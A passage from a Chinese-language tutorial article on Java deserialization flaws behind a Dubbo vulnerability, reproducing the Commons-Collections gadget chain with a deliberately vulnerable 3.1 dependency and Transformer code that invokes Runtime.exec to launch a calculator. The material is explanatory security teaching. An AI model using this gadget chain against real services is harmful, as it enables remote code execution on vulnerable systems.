Dubbo 高危漏洞!原来都是反序列化惹得祸( 二 )


文章插图
 
反序列化漏洞执行条件上面的例子中,我们在 readObject 方法内主动使用Runtime执行外部命令 。但是正常的情况下,我们肯定不会在 readObject写上述代码,除非是内鬼 ̄□ ̄||

Dubbo 高危漏洞!原来都是反序列化惹得祸

文章插图
 
如果可以找到一个对象,他的readObject方法可以执行任意代码,那么在反序列过程也会执行对应的代码 。我们只要将满足上述条件的对象序列化之后发送给先相应 Java 程序,Java 程序读取之后,进行反序列化,就会执行指定的代码 。
为了使反序列化漏洞成功执行需要满足以下条件:
  1. Java 反序列化应用中需要存在序列化使用的类,不然反序列化时将会抛出 ClassNotFoundException 异常 。
  2. Java 反序列化对象的 readObject方法可以执行任何代码,没有任何验证或者限制 。
引用一段网上的反序列化攻击流程,来源:https://xz.aliyun.com/t/7031
客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)
exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层)
这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3......
最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行 。
Common-Collections【Dubbo 高危漏洞!原来都是反序列化惹得祸】下面我们以 Common-Collections 的存在反序列化漏洞为例,来复现反序列化攻击流程 。
首先我们在应用内引入 Common-Collections 依赖,这里需要注意,我们需要引入 3.2.2 版本之前,之后的版本这个漏洞已经被修复 。
<dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId>    <version>3.1</version></dependency>
PS:下面的代码只有在 JDK7 环境下执行才能复现这个问题 。
首先我们需要明确,我们做一系列目的就是为了让应用程序成功执行 Runtime.getRuntime().exec("open -a Calculator") 。
当然我们没办法让程序直接运行上述语句,我们需要借助其他类,间接执行 。
Common-Collections存在一个 Transformer,可以将一个对象类型转为另一个对象类型,相当于 Java Stream 中的 map 函数 。
Transformer有几个实现类:
  • ConstantTransformer
  • InvokerTransformer
  • ChainedTransformer
其中 ConstantTransformer用于将对象转为一个常量值,例如:
Transformer transformer = new ConstantTransformer("程序通事");Object transform = transformer.transform("楼下小黑哥");// 输出对象为 程序通事System.out.println(transform);InvokerTransformer将会使用反射机制执行指定方法,例如:
Transformer transformer = new InvokerTransformer(        "append",        new Class[]{String.class},        new Object[]{"楼下小黑哥"});StringBuilder input=new StringBuilder("程序通事-");// 反射执行了 input.append("楼下小黑哥");Object transform = transformer.transform(input);// 程序通事-楼下小黑哥System.out.println(transform);ChainedTransformer 需要传入一个 Transformer[]数组对象,使用责任链模式执行的内部 Transformer,例如:
Transformer[] transformers = new Transformer[]{        new ConstantTransformer(Runtime.getRuntime()),        new InvokerTransformer(                "exec",                new Class[]{String.class}, new Object[]{"open -a Calculator"})};Transformer chainTransformer = new ChainedTransformer(transformers);chainTransformer.transform("任意对象值");


推荐阅读